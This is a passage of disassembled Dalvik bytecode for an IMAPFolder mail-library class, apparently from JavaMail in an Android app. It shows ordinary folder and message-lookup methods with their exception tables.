0000016A iget-object v4, p0, IMAPFolder->uidTable:Hashtable
0000016E if-eqz v4, :60
:172
00000172 invoke-virtual IMAPMessage->getUID()J, v0
00000178 move-result-wide v4
0000017A const-wide/16 v6, 0xFFFFFFFFFFFFFFFF
0000017E cmp-long v0, v4, v6
00000182 if-eqz v0, :60
:186
00000186 iget-object v0, p0, IMAPFolder->uidTable:Hashtable
0000018A new-instance v6, Long
0000018E invoke-direct Long-><init>(J)V, v6, v4, v5
00000194 invoke-virtual Hashtable->remove(Object)Object, v0, v6
0000019A goto/16 :60
:19E
0000019E invoke-virtual IMAPMessage->getSequenceNumber()I, v0
000001A4 move-result v4
000001A6 invoke-virtual IMAPMessage->setMessageNumber(I)V, v0, v4
:1AC
000001AC add-int/lit8 v0, v1, 0x1
000001B0 move v1, v0
000001B2 goto/16 :60
.catchall {:4 .. :38} :F8
.catchall {:3A .. :3E} :F2
.catch CommandFailedException {:3E .. :58} :AE
.catch ConnectionException {:3E .. :58} :112
.catch ProtocolException {:3E .. :58} :128
.catchall {:3E .. :58} :E8
.catchall {:5A .. :72} :F2
.catchall {:72 .. :A2} :F8
.catch CommandFailedException {:A6 .. :AC} :AE
.catch ConnectionException {:A6 .. :AC} :112
.catch ProtocolException {:A6 .. :AC} :128
.catchall {:A6 .. :AC} :E8
.catchall {:B0 .. :E8} :E8
.catchall {:EC .. :F6} :F2
.catchall {:F6 .. :F8} :F8
.catchall {:FE .. :13E} :E8
.catchall {:13E .. :1AC} :F2
.end method
.method public declared-synchronized fetch([Message, FetchProfile)V
.registers 4
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPFolder->checkOpened()V, p0
00000008 invoke-static IMAPMessage->fetch(IMAPFolder, [Message, FetchProfile)V, p0, p1, p2
:E
0000000E monitor-exit p0
00000010 return-void
:12
00000012 move-exception v0
00000014 monitor-exit p0
00000016 throw v0
.catchall {:2 .. :E} :12
.end method
.method public declared-synchronized forceClose()V
.registers 3
00000000 monitor-enter p0
00000002 const/4 v0, 0x0
00000004 const/4 v1, 0x1
:6
00000006 invoke-direct IMAPFolder->close(Z, Z)V, p0, v0, v1
:C
0000000C monitor-exit p0
0000000E return-void
:10
00000010 move-exception v0
00000012 monitor-exit p0
00000014 throw v0
.catchall {:6 .. :C} :10
.end method
.method public getACL()[ACL
.registers 3
00000000 const-string v0, "ACL not supported"
00000004 new-instance v1, IMAPFolder$14
00000008 invoke-direct IMAPFolder$14-><init>(IMAPFolder)V, v1, p0
0000000E invoke-virtual IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014 move-result-object v0
00000016 check-cast v0, [ACL
0000001A return-object v0
.end method
.method public getAttributes()[String
.registers 2
00000000 iget-object v0, p0, IMAPFolder->attributes:[String
00000004 if-nez v0, :E
:8
00000008 invoke-virtual IMAPFolder->exists()Z, p0
:E
0000000E iget-object v0, p0, IMAPFolder->attributes:[String
00000012 invoke-virtual [String->clone()Object, v0
00000018 move-result-object v0
0000001A check-cast v0, [String
0000001E return-object v0
.end method
.method public declared-synchronized getDeletedMessageCount()I
.registers 6
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, IMAPFolder->opened:Z
00000006 if-nez v0, :16
:A
0000000A invoke-direct IMAPFolder->checkExists()V, p0
:10
00000010 const/4 v0, 0xFFFFFFFFFFFFFFFF
:12
00000012 monitor-exit p0
00000014 return v0
:16
00000016 new-instance v0, Flags
0000001A invoke-direct Flags-><init>()V, v0
00000020 sget-object v1, Flags$Flag->DELETED:Flags$Flag
00000024 invoke-virtual Flags->add(Flags$Flag)V, v0, v1
:2A
0000002A iget-object v1, p0, IMAPFolder->messageCacheLock:Object
0000002E monitor-enter v1
:30
00000030 invoke-direct IMAPFolder->getProtocol()IMAPProtocol, p0
00000036 move-result-object v2
00000038 new-instance v3, FlagTerm
0000003C const/4 v4, 0x1
0000003E invoke-direct FlagTerm-><init>(Flags, Z)V, v3, v0, v4
00000044 invoke-virtual IMAPProtocol->search(SearchTerm)[I, v2, v3
0000004A move-result-object v0
0000004C array-length v0, v0
0000004E monitor-exit v1
00000050 goto :12
:52
00000052 move-exception v0
00000054 monitor-exit v1
:56
00000056 throw v0
:58
00000058 move-exception v0
:5A
0000005A new-instance v1, FolderClosedException
0000005E invoke-virtual ConnectionException->getMessage()String, v0
00000064 move-result-object v0
00000066 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, p0, v0
0000006C throw v1
:6E
0000006E move-exception v0
00000070 monitor-exit p0
00000072 throw v0
:74
00000074 move-exception v0
:76
00000076 new-instance v1, MessagingException
0000007A invoke-virtual ProtocolException->getMessage()String, v0
00000080 move-result-object v2
00000082 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000088 throw v1
.catchall {:2 .. :10} :6E
.catchall {:16 .. :2A} :6E
.catch ConnectionException {:2A .. :30} :58
.catch ProtocolException {:2A .. :30} :74
.catchall {:2A .. :30} :6E
.catchall {:30 .. :56} :52
.catch ConnectionException {:56 .. :58} :58
.catch ProtocolException {:56 .. :58} :74
.catchall {:56 .. :58} :6E
.catchall {:5A .. :6E} :6E
.catchall {:76 .. :8A} :6E
.end method
.method public getFolder(String)Folder
.registers 6
00000000 iget-object v0, p0, IMAPFolder->attributes:[String
00000004 if-eqz v0, :24
:8
00000008 invoke-direct IMAPFolder->isDirectory()Z, p0
0000000E move-result v0
00000010 if-nez v0, :24
:14
00000014 new-instance v0, MessagingException
00000018 const-string v1, "Cannot contain subfolders"
0000001C invoke-direct MessagingException-><init>(String)V, v0, v1
00000022 throw v0
:24
00000024 invoke-virtual IMAPFolder->getSeparator()C, p0
0000002A move-result v1
0000002C new-instance v2, IMAPFolder
00000030 new-instance v0, StringBuilder
00000034 iget-object v3, p0, IMAPFolder->fullName:String
00000038 invoke-static String->valueOf(Object)String, v3
0000003E move-result-object v3
00000040 invoke-direct StringBuilder-><init>(String)V, v0, v3
00000046 invoke-virtual StringBuilder->append(C)StringBuilder, v0, v1
0000004C move-result-object v0
0000004E invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000054 move-result-object v0
00000056 invoke-virtual StringBuilder->toString()String, v0
0000005C move-result-object v3
0000005E iget-object v0, p0, IMAPFolder->store:Store
00000062 check-cast v0, IMAPStore
00000066 invoke-direct IMAPFolder-><init>(String, C, IMAPStore)V, v2, v3, v1, v0
0000006C return-object v2
.end method
.method public declared-synchronized getFullName()String
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, IMAPFolder->fullName:String
:6
00000006 monitor-exit p0
00000008 return-object v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized getMessage(I)Message
.registers 4
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPFolder->checkOpened()V, p0
00000008 invoke-direct IMAPFolder->checkRange(I)V, p0, p1
0000000E iget-object v0, p0, IMAPFolder->messageCache:Vector
00000012 add-int/lit8 v1, p1, 0xFFFFFFFFFFFFFFFF
00000016 invoke-virtual Vector->elementAt(I)Object, v0, v1
0000001C move-result-object v0
0000001E check-cast v0, Message
:22
00000022 monitor-exit p0
00000024 return-object v0
:26
00000026 move-exception v0
00000028 monitor-exit p0
0000002A throw v0
.catchall {:2 .. :22} :26
.end method
.method getMessageBySeqNumber(I)IMAPMessage
.registers 5
00000000 add-int/lit8 v0, p1, 0xFFFFFFFFFFFFFFFF
00000004 move v1, v0
:6
00000006 iget v0, p0, IMAPFolder->total:I
0000000A if-lt v1, v0, :12
:E
0000000E const/4 v0, 0x0
:10
00000010 return-object v0
:12
00000012 iget-object v0, p0, IMAPFolder->messageCache:Vector
00000016 invoke-virtual Vector->elementAt(I)Object, v0, v1
0000001C move-result-object v0
0000001E check-cast v0, IMAPMessage
00000022 invoke-virtual IMAPMessage->getSequenceNumber()I, v0
00000028 move-result v2
0000002A if-eq v2, p1, :10
:2E
0000002E add-int/lit8 v0, v1, 0x1
00000032 move v1, v0
00000034 goto :6
.end method
.method public declared-synchronized getMessageByUID(J)Message
.registers 9
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPFolder->checkOpened()V, p0
:8
00000008 const/4 v0, 0x0
:A
0000000A iget-object v1, p0, IMAPFolder->messageCacheLock:Object
0000000E monitor-enter v1
:10
00000010 new-instance v2, Long
00000014 invoke-direct Long-><init>(J)V, v2, p1, p2
0000001A iget-object v3, p0, IMAPFolder->uidTable:Hashtable
0000001E if-eqz v3, :3C
:22
00000022 iget-object v0, p0, IMAPFolder->uidTable:Hashtable
00000026 invoke-virtual Hashtable->get(Object)Object, v0, v2
0000002C move-result-object v0
0000002E check-cast v0, IMAPMessage
00000032 if-eqz v0, :4A
:36
00000036 monitor-exit v1
:38
00000038 monitor-exit p0
0000003A return-object v0
:3C
0000003C new-instance v3, Hashtable
00000040 invoke-direct Hashtable-><init>()V, v3
00000046 iput-object v3, p0, IMAPFolder->uidTable:Hashtable
:4A
0000004A invoke-direct IMAPFolder->getProtocol()IMAPProtocol, p0
00000050 move-result-object v3
00000052 invoke-virtual IMAPProtocol->fetchSequenceNumber(J)UID, v3, p1, p2
00000058 move-result-object v3
0000005A if-eqz v3, :8A
:5E
0000005E iget v4, v3, UID->seqnum:I
00000062 iget v5, p0, IMAPFolder->total:I
00000066 if-gt v4, v5, :8A
:6A
0000006A iget v0, v3, UID->seqnum:I
0000006E invoke-virtual IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v0
00000074 move-result-object v0
00000076 iget-wide v3, v3, UID->uid:J
0000007A invoke-virtual IMAPMessage->setUID(J)V, v0, v3, v4
00000080 iget-object v3, p0, IMAPFolder->uidTable:Hashtable
00000084 invoke-virtual Hashtable->put(Object, Object)Object, v3, v2, v0
:8A
0000008A monitor-exit v1
0000008C goto :38
:8E
0000008E move-exception v0
00000090 monitor-exit v1
:92
00000092 throw v0
:94
00000094 move-exception v0
:96
00000096 new-instance v1, FolderClosedException
0000009A invoke-virtual ConnectionException->getMessage()String, v0
000000A0 move-result-object v0
000000A2 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, p0, v0
000000A8 throw v1
:AA
000000AA move-exception v0
000000AC monitor-exit p0
000000AE throw v0
:B0
000000B0 move-exception v0
:B2
000000B2 new-instance v1, MessagingException
000000B6 invoke-virtual ProtocolException->getMessage()String, v0
000000BC move-result-object v2
000000BE invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000000C4 throw v1
.catchall {:2 .. :8} :AA
.catch ConnectionException {:A .. :10} :94
.catch ProtocolException {:A .. :10} :B0
.catchall {:A .. :10} :AA
.catchall {:10 .. :38} :8E
.catchall {:3C .. :92} :8E
.catch ConnectionException {:92 .. :94} :94
.catch ProtocolException {:92 .. :94} :B0
.catchall {:92 .. :94} :AA
.catchall {:96 .. :AA} :AA
.catchall {:B2 .. :C6} :AA
.end method
.method public declared-synchronized getMessageCount()I
.registers 5
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, IMAPFolder->opened:Z
00000006 if-nez v0, :A0
:A
0000000A invoke-direct IMAPFolder->checkExists()V, p0
:10
00000010 invoke-direct IMAPFolder->getStatus()Status, p0
00000016 move-result-object v0
00000018 iget v0, v0, Status->total:I
:1C
0000001C monitor-exit p0
0000001E return v0
:20
00000020 move-exception v0
00000022 const/4 v1, 0x0
:24
00000024 invoke-virtual IMAPFolder->getStoreProtocol()IMAPProtocol, p0
0000002A move-result-object v1
0000002C iget-object v0, p0, IMAPFolder->fullName:String
00000030 invoke-virtual IMAPProtocol->examine(String)MailboxInfo, v1, v0
00000036 move-result-object v0
00000038 invoke-virtual IMAPProtocol->close()V, v1
0000003E iget v0, v0, MailboxInfo->total:I
:42
00000042 invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:48
00000048 goto :1C
:4A
0000004A move-exception v0
0000004C monitor-exit p0
0000004E throw v0
:50
00000050 move-exception v0
:52
00000052 new-instance v2, MessagingException
00000056 invoke-virtual ProtocolException->getMessage()String, v0
0000005C move-result-object v3
0000005E invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000064 throw v2
:66
00000066 move-exception v0
:68
00000068 invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000006E throw v0
:70
00000070 move-exception v0
00000072 new-instance v1, StoreClosedException
00000076 iget-object v2, p0, IMAPFolder->store:Store
0000007A invoke-virtual ConnectionException->getMessage()String, v0
00000080 move-result-object v0
00000082 invoke-direct StoreClosedException-><init>(Store, String)V, v1, v2, v0
00000088 throw v1
:8A
0000008A move-exception v0
0000008C new-instance v1, MessagingException
00000090 invoke-virtual ProtocolException->getMessage()String, v0
00000096 move-result-object v2
00000098 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000009E throw v1
:A0
000000A0 iget-object v1, p0, IMAPFolder->messageCacheLock:Object
000000A4 monitor-enter v1
:A6
000000A6 const/4 v0, 0x1
:A8
000000A8 invoke-direct IMAPFolder->keepConnectionAlive(Z)V, p0, v0
000000AE iget v0, p0, IMAPFolder->total:I
:B2
000000B2 monitor-exit v1
000000B4 goto :1C
:B6
000000B6 move-exception v0
000000B8 monitor-exit v1
:BA
000000BA throw v0
:BC
000000BC move-exception v0
:BE
000000BE new-instance v2, FolderClosedException
000000C2 invoke-virtual ConnectionException->getMessage()String, v0
000000C8 move-result-object v0
000000CA invoke-direct FolderClosedException-><init>(Folder, String)V, v2, p0, v0
000000D0 throw v2
:D2
000000D2 move-exception v0
000000D4 new-instance v2, MessagingException
000000D8 invoke-virtual ProtocolException->getMessage()String, v0
000000DE move-result-object v3
000000E0 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
000000E6 throw v2
.catchall {:2 .. :10} :4A
.catch BadCommandException {:10 .. :1C} :20
.catch ConnectionException {:10 .. :1C} :70
.catch ProtocolException {:10 .. :1C} :8A
.catchall {:10 .. :1C} :4A
.catch ProtocolException {:24 .. :42} :50
.catchall {:24 .. :42} :66
.catchall {:42 .. :48} :4A
.catchall {:52 .. :66} :66
.catchall {:68 .. :A6} :4A
.catch ConnectionException {:A8 .. :B2} :BC
.catch ProtocolException {:A8 .. :B2} :D2
.catchall {:A8 .. :B2} :B6
.catchall {:B2 .. :BA} :B6
.catchall {:BA .. :BC} :4A
.catchall {:BE .. :E8} :B6
.end method
.method public declared-synchronized getMessagesByUID(J, J)[Message
.registers 14
00000000 monitor-enter p0
:2
00000002 invoke-direct IMAPFolder->checkOpened()V, p0
:8
00000008 iget-object v1, p0, IMAPFolder->messageCacheLock:Object
0000000C monitor-enter v1
:E
0000000E iget-object v0, p0, IMAPFolder->uidTable:Hashtable
00000012 if-nez v0, :24
:16
00000016 new-instance v0, Hashtable
0000001A invoke-direct Hashtable-><init>()V, v0
00000020 iput-object v0, p0, IMAPFolder->uidTable:Hashtable
:24
00000024 invoke-direct IMAPFolder->getProtocol()IMAPProtocol, p0
0000002A move-result-object v0
0000002C invoke-virtual IMAPProtocol->fetchSequenceNumbers(J, J)[UID, v0, p1, p2, p3, p4
00000032 move-result-object v2
00000034 array-length v0, v2
00000036 new-array v3, v0, [Message
0000003A const/4 v0, 0x0
:3C
0000003C array-length v4, v2
0000003E if-lt v0, v4, :48
:42
00000042 monitor-exit v1
:44
00000044 monitor-exit p0
00000046 return-object v3
:48
00000048 aget-object v4, v2, v0
0000004C iget v4, v4, UID->seqnum:I
00000050 invoke-virtual IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v4
00000056 move-result-object v4
00000058 aget-object v5, v2, v0
0000005C iget-wide v5, v5, UID->uid:J
00000060 invoke-virtual IMAPMessage->setUID(J)V, v4, v5, v6
00000066 aput-object v4, v3, v0
0000006A iget-object v5, p0, IMAPFolder->uidTable:Hashtable
0000006E new-instance v6, Long
00000072 aget-object v7, v2, v0
00000076 iget-wide v7, v7, UID->uid:J
0000007A invoke-direct Long-><init>(J)V, v6, v7, v8
00000080 invoke-virtual Hashtable->put(Object, Object)Object, v5, v6, v4
00000086 add-int/lit8 v0, v0, 0x1
0000008A goto :3C
:8C
0000008C move-exception v0
0000008E monitor-exit v1
:90
00000090 throw v0
:92
00000092 move-exception v0
:94
00000094 new-instance v1, FolderClosedException
00000098 invoke-virtual ConnectionException->getMessage()String, v0
0000009E move-result-object v0
000000A0 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, p0, v0
000000A6 throw v1
:A8
000000A8 move-exception v0
000000AA monitor-exit p0
000000AC throw v0
:AE
000000AE move-exception v0
:B0
000000B0 new-instance v1, MessagingException
000000B4 invoke-virtual ProtocolException->getMessage()String, v0
000000BA move-result-object v2
000000BC invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000000C2 throw v1
.catchall {:2 .. :8} :A8
.catch ConnectionException {:8 .. :E} :92
.catch ProtocolException {:8 .. :E} :AE
.catchall {:8 .. :E} :A8
.catchall {:E .. :44} :8C
.catchall {:48 .. :90} :8C
.catch ConnectionException {:90 .. :92} :92
.catch ProtocolException {:90 .. :92} :AE
.catchall {:90 .. :92} :A8
.catchall {:94 .. :A8} :A8
.catchall {:B0 .. :C4} :A8
.end method
.method public declared-synchronized getMessagesByUID([J)[Message
.registers 11
00000000 const/4 v1, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-direct IMAPFolder->checkOpened()V, p0
:A
0000000A iget-object v4, p0, IMAPFolder->messageCacheLock:Object
0000000E monitor-enter v4
:10
00000010 iget-object v0, p0, IMAPFolder->uidTable:Hashtable
00000014 if-eqz v0, :B8
:18
00000018 new-instance v5, Vector
0000001C invoke-direct Vector-><init>()V, v5
00000022 move v0, v1
:24
00000024 array-length v2, p1
00000026 if-lt v0, v2, :6E
:2A
0000002A invoke-virtual Vector->size()I, v5
00000030 move-result v6
00000032 new-array v2, v6, [J
00000036 move v3, v1
:38
00000038 if-lt v3, v6, :98
:3C
0000003C move-object v0, v2
:3E
0000003E array-length v2, v0
00000040 if-lez v2, :5C
:44
00000044 invoke-direct IMAPFolder->getProtocol()IMAPProtocol, p0
0000004A move-result-object v2
0000004C invoke-virtual IMAPProtocol->fetchSequenceNumbers([J)[UID, v2, v0
00000052 move-result-object v2
00000054 move v0, v1
:56
00000056 array-length v3, v2
00000058 if-lt v0, v3, :CA
:5C
0000005C array-length v0, p1
0000005E new-array v2, v0, [Message
:62
00000062 array-length v0, p1
00000064 if-lt v1, v0, :10A
:68
00000068 monitor-exit v4
:6A
0000006A monitor-exit p0
0000006C return-object v2
:6E
0000006E iget-object v2, p0, IMAPFolder->uidTable:Hashtable
00000072 new-instance v3, Long
00000076 aget-wide v6, p1, v0
0000007A invoke-direct Long-><init>(J)V, v3, v6, v7
00000080 invoke-virtual Hashtable->containsKey(Object)Z, v2, v3
00000086 move-result v2
00000088 if-nez v2, :92
:8C
0000008C invoke-virtual Vector->addElement(Object)V, v5, v3
:92
00000092 add-int/lit8 v0, v0, 0x1
00000096 goto :24
:98
00000098 invoke-virtual Vector->elementAt(I)Object, v5, v3
0000009E move-result-object v0
000000A0 check-cast v0, Long
000000A4 invoke-virtual Long->longValue()J, v0
000000AA move-result-wide v7
000000AC aput-wide v7, v2, v3
000000B0 add-int/lit8 v0, v3, 0x1
000000B4 move v3, v0
000000B6 goto :38
:B8
000000B8 new-instance v0, Hashtable
000000BC invoke-direct Hashtable-><init>()V, v0
000000C2 iput-object v0, p0, IMAPFolder->uidTable:Hashtable
000000C6 move-object v0, p1
000000C8 goto :3E
:CA
000000CA aget-object v3, v2, v0
000000CE iget v3, v3, UID->seqnum:I
000000D2 invoke-virtual IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v3
000000D8 move-result-object v3
000000DA aget-object v5, v2, v0
000000DE iget-wide v5, v5, UID->uid:J
000000E2 invoke-virtual IMAPMessage->setUID(J)V, v3, v5, v6
000000E8 iget-object v5, p0, IMAPFolder->uidTable:Hashtable
000000EC new-instance v6, Long
000000F0 aget-object v7, v2, v0
000000F4 iget-wide v7, v7, UID->uid:J
000000F8 invoke-direct Long-><init>(J)V, v6, v7, v8
000000FE invoke-virtual Hashtable->put(Object, Object)Object, v5, v6, v3
00000104 add-int/lit8 v0, v0, 0x1
00000108 goto :56
:10A
0000010A iget-object v0, p0, IMAPFolder->uidTable:Hashtable
0000010E new-instance v3, Long
00000112 aget-wide v5, p1, v1
00000116 invoke-direct Long-><init>(J)V, v3, v5, v6
0000011C invoke-virtual Hashtable->get(Object)Object, v0, v3
00000122 move-result-object v0
00000124 check-cast v0, Message
00000128 aput-object v0, v2, v1
0000012C add-int/lit8 v0, v1, 0x1
00000130 move v1, v0
00000132 goto :62
:134
00000134 move-exception v0
00000136 monitor-exit v4
:138
00000138 throw v0
:13A
0000013A move-exception v0
:13C
0000013C new-instance v1, FolderClosedException
00000140 invoke-virtual ConnectionException->getMessage()String, v0
00000146 move-result-object v0
00000148 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, p0, v0
0000014E throw v1
:150
00000150 move-exception v0
00000152 monitor-exit p0
00000154 throw v0
:156
00000156 move-exception v0
:158
00000158 new-instance v1, MessagingException
0000015C invoke-virtual ProtocolException->getMessage()String, v0
00000162 move-result-object v2
00000164 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000016A throw v1
.catchall {:4 .. :A} :150
.catch ConnectionException {:A .. :10} :13A
.catch ProtocolException {:A .. :10} :156
.catchall {:A .. :10} :150
.catchall {:10 .. :6A} :134
.catchall {:6E .. :138} :134
.catch ConnectionException {:138 .. :13A} :13A
.catch ProtocolException {:138 .. :13A} :156
.catchall {:138 .. :13A} :150
.catchall {:13C .. :150} :150
.catchall {:158 .. :16C} :150
.end method
.method public declared-synchronized getName()String
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, IMAPFolder->name:String
:6
00000006 if-nez v0, :32
:A
0000000A iget-object v0, p0, IMAPFolder->fullName:String
0000000E iget-object v1, p0, IMAPFolder->fullName:String
00000012 invoke-virtual IMAPFolder->getSeparator()C, p0
00000018 move-result v2
0000001A invoke-virtual String->lastIndexOf(I)I, v1, v2
00000020 move-result v1
00000022 add-int/lit8 v1, v1, 0x1
00000026 invoke-virtual String->substring(I)String, v0, v1
0000002C move-result-object v0
0000002E iput-object v0, p0, IMAPFolder->name:String
:32
00000032 iget-object v0, p0, IMAPFolder->name:String
:36
00000036 monitor-exit p0
00000038 return-object v0
:3A
0000003A move-exception v0
0000003C monitor-exit p0
0000003E throw v0
:40
00000040 move-exception v0
00000042 goto :32
.catchall {:2 .. :6} :3A
.catch MessagingException {:A .. :32} :40
.catchall {:A .. :32} :3A
.catchall {:32 .. :36} :3A
.end method
.method public declared-synchronized getNewMessageCount()I
.registers 5
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, IMAPFolder->opened:Z
00000006 if-nez v0, :A0
:A
0000000A invoke-direct IMAPFolder->checkExists()V, p0
:10
00000010 invoke-direct IMAPFolder->getStatus()Status, p0
00000016 move-result-object v0
00000018 iget v0, v0, Status->recent:I
:1C
0000001C monitor-exit p0
0000001E return v0
:20
00000020 move-exception v0
00000022 const/4 v1, 0x0
:24
00000024 invoke-virtual IMAPFolder->getStoreProtocol()IMAPProtocol, p0
0000002A move-result-object v1
0000002C iget-object v0, p0, IMAPFolder->fullName:String
00000030 invoke-virtual IMAPProtocol->examine(String)MailboxInfo, v1, v0
00000036 move-result-object v0
00000038 invoke-virtual IMAPProtocol->close()V, v1
0000003E iget v0, v0, MailboxInfo->recent:I
:42
00000042 invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:48
00000048 goto :1C
:4A
0000004A move-exception v0
0000004C monitor-exit p0
0000004E throw v0
:50
00000050 move-exception v0
:52
00000052 new-instance v2, MessagingException
00000056 invoke-virtual ProtocolException->getMessage()String, v0
0000005C move-result-object v3
0000005E invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000064 throw v2
:66
00000066 move-exception v0
:68
00000068 invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
0000006E throw v0
:70
00000070 move-exception v0
00000072 new-instance v1, StoreClosedException
00000076 iget-object v2, p0, IMAPFolder->store:Store
0000007A invoke-virtual ConnectionException->getMessage()String, v0
00000080 move-result-object v0
00000082 invoke-direct StoreClosedException-><init>(Store, String)V, v1, v2, v0
00000088 throw v1
:8A
0000008A move-exception v0
0000008C new-instance v1, MessagingException
00000090 invoke-virtual ProtocolException->getMessage()String, v0
00000096 move-result-object v2
00000098 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000009E throw v1
:A0
000000A0 iget-object v1, p0, IMAPFolder->messageCacheLock:Object
000000A4 monitor-enter v1
:A6
000000A6 const/4 v0, 0x1
:A8
000000A8 invoke-direct IMAPFolder->keepConnectionAlive(Z)V, p0, v0
000000AE iget v0, p0, IMAPFolder->recent:I
:B2
000000B2 monitor-exit v1
000000B4 goto :1C
:B6
000000B6 move-exception v0
000000B8 monitor-exit v1
:BA
000000BA throw v0
:BC
000000BC move-exception v0
:BE
000000BE new-instance v2, FolderClosedException
000000C2 invoke-virtual ConnectionException->getMessage()String, v0
000000C8 move-result-object v0
000000CA invoke-direct FolderClosedException-><init>(Folder, String)V, v2, p0, v0
000000D0 throw v2
:D2
000000D2 move-exception v0
000000D4 new-instance v2, MessagingException
000000D8 invoke-virtual ProtocolException->getMessage()String, v0
000000DE move-result-object v3
000000E0 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
000000E6 throw v2
.catchall {:2 .. :10} :4A
.catch BadCommandException {:10 .. :1C} :20
.catch ConnectionException {:10 .. :1C} :70
.catch ProtocolException {:10 .. :1C} :8A
.catchall {:10 .. :1C} :4A
.catch ProtocolException {:24 .. :42} :50
.catchall {:24 .. :42} :66
.catchall {:42 .. :48} :4A
.catchall {:52 .. :66} :66
.catchall {:68 .. :A6} :4A
.catch ConnectionException {:A8 .. :B2} :BC
.catch ProtocolException {:A8 .. :B2} :D2
.catchall {:A8 .. :B2} :B6
.catchall {:B2 .. :BA} :B6
.catchall {:BA .. :BC} :4A
.catchall {:BE .. :E8} :B6
.end method
.method public declared-synchronized getParent()Folder
.registers 6
00000000 monitor-enter p0
:2
00000002 invoke-virtual IMAPFolder->getSeparator()C, p0
00000008 move-result v2
0000000A iget-object v0, p0, IMAPFolder->fullName:String
0000000E invoke-virtual String->lastIndexOf(I)I, v0, v2
00000014 move-result v0
00000016 const/4 v1, 0xFFFFFFFFFFFFFFFF
00000018 if-eq v0, v1, :42
:1C
0000001C new-instance v1, IMAPFolder
00000020 iget-object v3, p0, IMAPFolder->fullName:String
00000024 const/4 v4, 0x0
00000026 invoke-virtual String->substring(I, I)String, v3, v4, v0
0000002C move-result-object v3
0000002E iget-object v0, p0, IMAPFolder->store:Store
00000032 check-cast v0, IMAPStore
00000036 invoke-direct IMAPFolder-><init>(String, C, IMAPStore)V, v1, v3, v2, v0
:3C
0000003C move-object v0, v1
:3E
0000003E monitor-exit p0
00000040 return-object v0
:42
00000042 new-instance v1, DefaultFolder
00000046 iget-object v0, p0, IMAPFolder->store:Store
0000004A check-cast v0, IMAPStore
0000004E invoke-direct DefaultFolder-><init>(IMAPStore)V, v1, v0
:54
00000054 move-object v0, v1
00000056 goto :3E
:58
00000058 move-exception v0
0000005A monitor-exit p0
0000005C throw v0
.catchall {:2 .. :3C} :58
.catchall {:42 .. :54} :58
.end method
.method public declared-synchronized getPermanentFlags()Flags
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, IMAPFolder->permanentFlags:Flags
00000006 invoke-virtual Flags->clone()Object, v0
0000000C move-result-object v0
0000000E check-cast v0, Flags
:12
00000012 monitor-exit p0
00000014 return-object v0
:16
00000016 move-exception v0
00000018 monitor-exit p0
0000001A throw v0
.catchall {:2 .. :12} :16
.end method
.method public getQuota()[Quota
.registers 3
00000000 const-string v0, "QUOTA not supported"
00000004 new-instance v1, IMAPFolder$12
00000008 invoke-direct IMAPFolder$12-><init>(IMAPFolder)V, v1, p0
0000000E invoke-virtual IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014 move-result-object v0
00000016 check-cast v0, [Quota
0000001A return-object v0
.end method
.method public declared-synchronized getSeparator()C
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-char v0, p0, IMAPFolder->separator:C
00000006 const v1, 0xFFFF
0000000C if-ne v0, v1, :3E
:10
00000010 const/4 v0, 0x0
00000012 check-cast v0, [ListInfo
00000016 new-instance v0, IMAPFolder$3
0000001A invoke-direct IMAPFolder$3-><init>(IMAPFolder)V, v0, p0
00000020 invoke-virtual IMAPFolder->doCommand(IMAPFolder$ProtocolCommand)Object, p0, v0
00000026 move-result-object v0
00000028 check-cast v0, [ListInfo
0000002C if-eqz v0, :46
:30
00000030 const/4 v1, 0x0
00000032 aget-object v0, v0, v1
00000036 iget-char v0, v0, ListInfo->separator:C
0000003A iput-char v0, p0, IMAPFolder->separator:C
:3E
0000003E iget-char v0, p0, IMAPFolder->separator:C
:42
00000042 monitor-exit p0
00000044 return v0
:46
00000046 const/16 v0, 0x2F
:4A
0000004A iput-char v0, p0, IMAPFolder->separator:C
:4E
0000004E goto :3E
:50
00000050 move-exception v0
00000052 monitor-exit p0
00000054 throw v0
.catchall {:2 .. :42} :50
.catchall {:4A .. :4E} :50
.end method
.method protected declared-synchronized getStoreProtocol()IMAPProtocol
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, IMAPFolder->connectionPoolDebug:Z
00000006 if-eqz v0, :18
:A
0000000A iget-object v0, p0, IMAPFolder->out:PrintStream
